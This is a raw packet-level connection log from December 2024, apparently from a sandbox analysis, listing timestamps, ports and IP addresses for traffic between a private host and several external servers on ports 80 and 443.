Dec 12, 2024 21:56:43.921094894 CET	49169	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:43.921138048 CET	443	49169	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:43.922385931 CET	443	49169	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:43.922461033 CET	49169	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:43.924314976 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:43.924411058 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:43.925606966 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:43.925679922 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:44.403892994 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:44.447328091 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:45.507764101 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:45.507874012 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:45.507953882 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:45.508013964 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:45.508049011 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:45.508102894 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:45.508116961 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:45.508168936 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:45.508171082 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:45.508227110 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:45.554991007 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:45.555027008 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:45.565128088 CET	49168	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:45.565393925 CET	49171	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:45.685734987 CET	80	49171	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:45.685818911 CET	49171	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:45.688695908 CET	80	49168	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:45.688760996 CET	49168	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:45.693733931 CET	49171	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:45.817342997 CET	80	49171	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:46.861601114 CET	80	49171	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:46.861797094 CET	49171	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:51.851124048 CET	80	49171	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:51.851196051 CET	49171	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:52.511720896 CET	49171	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:52.511754036 CET	49169	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:57.009994030 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:57.010102034 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:57.010196924 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:57.022037029 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:57.022119045 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:57.500302076 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:57.500406027 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:57.500475883 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:57.501681089 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:57.501709938 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:58.247068882 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.247168064 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.251492023 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.251548052 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.252053022 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.254375935 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.295376062 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.702508926 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.702624083 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.702681065 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.702727079 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.702770948 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.702802896 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.702802896 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.702847958 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.710741043 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.710799932 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.710911989 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.710952044 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.716451883 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:58.716530085 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:58.720207930 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:58.720249891 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:58.720684052 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:58.727428913 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.730006933 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.730051994 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.768373013 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:58.811358929 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:58.894371986 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.894474030 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.894539118 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.898489952 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.901148081 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.901164055 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.905106068 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.905855894 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.905888081 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.921761990 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.921834946 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.921845913 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.921881914 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.925312996 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.930243969 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.938596010 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.938652039 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.938658953 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.938678980 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.938767910 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.947220087 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.955435991 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.955482960 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.955575943 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.955640078 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.963888884 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.964735031 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.964751959 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.972316980 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.972486019 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.972546101 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.989207029 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.989284992 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:58.989458084 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:58.989521980 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.015625954 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.015716076 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.015780926 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.090349913 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.090431929 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.090457916 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.090526104 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.090595007 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.098201990 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.113840103 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.113861084 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.114157915 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.114222050 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.129528999 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.129708052 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.129791975 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.134057999 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.134216070 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.134278059 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.138731003 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.138907909 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.138968945 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.148264885 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.148324966 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.148386955 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.152353048 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.153101921 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.153218031 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.153265953 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.153331041 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.153409004 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.153426886 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.154306889 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.154359102 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.154381990 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.160547018 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.160604954 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.160634041 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.161184072 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.161250114 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.161278009 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.164028883 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.164087057 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.164108038 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.169831991 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.169903994 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.169939041 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.170147896 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.170286894 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.170316935 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.176268101 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.176438093 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.176497936 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.178148985 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.178204060 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.178230047 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.179511070 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.179701090 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.179761887 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.206792116 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.207207918 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.207268953 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.211239100 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.211523056 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.211606026 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.272754908 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.272990942 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.273065090 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.278405905 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.278480053 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.278515100 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.283121109 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.283278942 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.283324957 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.289093018 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.289203882 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.289269924 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.295408964 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.295608997 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.295670033 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.298589945 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.298825979 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.298887968 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.304685116 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.304759979 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.304821014 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.307604074 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.307663918 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.307681084 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.312865019 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.312925100 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.312939882 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.318255901 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.318305016 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.318319082 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.324019909 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.324081898 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.324095964 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.326184988 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.326251984 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.326270103 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.331671000 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.331748009 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.331762075 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.336112976 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.336182117 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.336194992 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.338283062 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.338347912 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.338408947 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.341465950 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.341521025 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.341557026 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.345177889 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.345230103 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.345259905 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.347194910 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.347250938 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.347273111 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.347445011 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.347522020 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.347584963 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.350508928 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.350574017 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.350606918 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.350945950 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.354157925 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.354221106 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.355777979 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.355848074 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.355864048 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.356867075 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.356916904 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.360424042 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.360477924 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.362379074 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.362445116 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.364289999 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.364361048 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.364373922 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.365825891 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.365883112 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.367748022 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.367796898 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.371351004 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.371401072 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.372900009 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.372962952 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.372977018 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.374914885 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.374968052 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.378480911 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.378537893 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.381261110 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.381323099 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.381335020 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.389748096 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.389817953 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.389833927 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.406584978 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.406691074 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.406826973 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.406835079 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.406893015 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.415097952 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.421190023 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.421272993 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.421449900 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.421461105 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.433125019 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.433202028 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.433314085 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.433329105 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.433403969 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.439131021 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.476469994 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.476481915 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.476528883 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.476548910 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.476620913 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.476689100 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.486741066 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.486804962 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.486820936 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.486891031 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.486927986 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.496283054 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.496351957 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.496449947 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.496524096 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.496566057 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.504194975 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.504255056 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.504369974 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.504369974 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.504436970 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.512793064 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.512857914 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.512999058 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.512999058 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.513067961 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.521219969 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.521277905 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.521436930 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.521436930 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.521501064 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.530170918 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.530239105 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.530246019 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.530318022 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.530355930 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.558046103 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.558067083 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.558216095 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.558233976 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.558274031 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.558356047 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.558398008 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.558439970 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.558442116 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.558442116 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.558442116 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.558516026 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.583697081 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.583730936 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.583812952 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.583863020 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.584053040 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.584053040 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.584053040 CET	49174	443	192.168.2.22	151.101.129.137
